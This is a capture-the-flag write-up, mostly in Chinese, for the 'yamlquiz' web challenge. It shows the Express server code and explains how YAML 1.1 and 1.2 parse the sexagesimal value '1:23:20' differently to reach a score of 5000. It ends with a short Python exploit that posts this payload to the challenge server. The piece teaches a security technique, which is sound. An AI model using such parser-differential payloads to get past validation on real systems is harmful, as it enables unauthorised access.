yamlquiz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const YAML = require('yaml');

const PORT = process.env.PORT || 4455;
const FLAG = process.env.FLAG || 'corctf{fake_flag_for_testing}';

const app = express();

app.use(express.urlencoded({extended: false}));
app.use(express.static('static'));

app.post('/submit', (req, res) => {
let result = req.body.result;
let score = 0;
if (result) {
const result_parsed_1 = YAML.parse(result, null, {version: '1.1'});
const result_parsed_2 = YAML.parse(result, null, {version: '1.2'});
const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;
if (score_1 !== score_2) {
score = score_1;
}
} else {
score = 0;
}

if (score === 5000) {
res.json({pass: true, flag: FLAG});
} else {
res.json({pass: false});
}
});

app.listen(PORT, () => console.log(`web/yamlquiz listening on port ${PORT}`));
  • 服务端只开放了一个关键接口:POST /submit,读取 application/x-www-form-urlencoded 类型的 result 字段。它把 result 当作 YAML 字符串,分别用 YAML 1.1 和 YAML 1.2 解析。
  • 从两次解析的结果里取 result[0].score:
1
2
const score_1 = result_parsed_1?.result?.[0]?.score ?? 0;
const score_2 = result_parsed_2?.result?.[0]?.score ?? 0;

如果两者不相等,就把最终分数设成 score_1。注意这里用的是严格不等 !==,类型不同也算不等。

  • 只有当 score === 5000 时才返回 { pass: true, flag: FLAG }

关键在于:找一个 YAML 文本,使得在 YAML 1.1 下 result[0].score 是数字 5000,而在 YAML 1.2 下不是 5000(或类型不同),这样就会触发 score = score_1 且等于 5000。

利用 YAML 1.1 的六十进制数(sexagesimal)

YAML 1.1 支持形如 H:MM:SS 的六十进制数字,例如 1:23:20 会被当作 5000(= 1×3600 + 23×60 + 20)。而 YAML 1.2 不再把它当数字,通常会解析成字符串 "1:23:20"
于是,两次解析得到的 score 类型/数值不同,score_1 !== score_2 成立,最终分数被设置为 5000,从而拿到 FLAG。

exp.py

1
2
3
4
5
import requests
url = "https://yamlquiz.ctfi.ng/submit"
data = {"result": "result:\n - score: 1:23:20"}
res = requests.post(url, data=data)
print(res.text)